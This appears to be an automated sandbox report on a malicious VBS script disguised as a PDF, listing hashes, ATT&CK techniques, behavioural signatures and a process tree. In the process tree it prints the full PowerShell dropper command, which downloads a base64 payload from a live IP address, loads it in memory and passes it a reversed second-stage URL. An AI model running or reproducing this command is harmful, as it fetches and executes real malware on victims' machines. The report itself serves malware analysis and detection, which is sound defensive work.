9160c4962d732d3bedfbb9da1634c2393b6564fc5b1f8a1ce62de5a4ed172e8b

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
24-12-2024 02:29

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General

Target

RWVQ04HDJSNYKSDF03BD_002_PDF.vbs
Size

129KB
MD5

1befa9ba6ebbb499691b9ba6e4dec4ae
SHA1

a39f41c971b09a4928c86717deab8cfb5242bc52
SHA256

f119b656cd5a8a68ac35e37d8da3b090300757afda4616f67ba13369f20e459c
SHA512

91f7550d39963faa56df8116fadd44977fffbc22a0d92e2c43f95116276fa154633785a7bf1f0c5d1e644211f880ea44a57968a85670f5481cacdef67a96a06b
SSDEEP

48:qTlqlqlqlqlqlqlqllgu3gMg1gxg9gfgdWegXgtogEPgNogZg2gkgE3Vo9jgLE3M:eAAAAAAAN/edkUDVo9teK7vtReq0yO

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://20.106.255.48/dll/lnk.pdf

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	2012	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2012	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2012	powershell.exe
2012	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2012	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1784 wrote to memory of 2012	1784	WScript.exe	83
PID 1784 wrote to memory of 2012	1784	WScript.exe	83

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RWVQ04HDJSNYKSDF03BD_002_PDF.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.106.255.48/dll/lnk.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('a2ffd275242b-2c58-8cf4-d0d6-6c8ebba9=nekot&aidem=tla?txt.40WHT/o/moc.topsppa.edfd7-pohe/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i1q1tvi1.dr0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2012-0-0x00007FFBB8963000-0x00007FFBB8965000-memory.dmp

Filesize
8KB

Download
memory/2012-1-0x0000024FA06D0000-0x0000024FA06F2000-memory.dmp

Filesize
136KB

Download
memory/2012-11-0x00007FFBB8960000-0x00007FFBB9421000-memory.dmp

Filesize
10.8MB

Download
memory/2012-12-0x00007FFBB8960000-0x00007FFBB9421000-memory.dmp

Filesize
10.8MB

Download
memory/2012-13-0x00007FFBB8963000-0x00007FFBB8965000-memory.dmp

Filesize
8KB

Download
memory/2012-14-0x00007FFBB8960000-0x00007FFBB9421000-memory.dmp

Filesize
10.8MB

Download
memory/2012-15-0x00007FFBB8960000-0x00007FFBB9421000-memory.dmp

Filesize
10.8MB

Download
memory/2012-16-0x00007FFBB8960000-0x00007FFBB9421000-memory.dmp

Filesize
10.8MB

Download
memory/2012-19-0x00007FFBB8960000-0x00007FFBB9421000-memory.dmp

Filesize
10.8MB

Download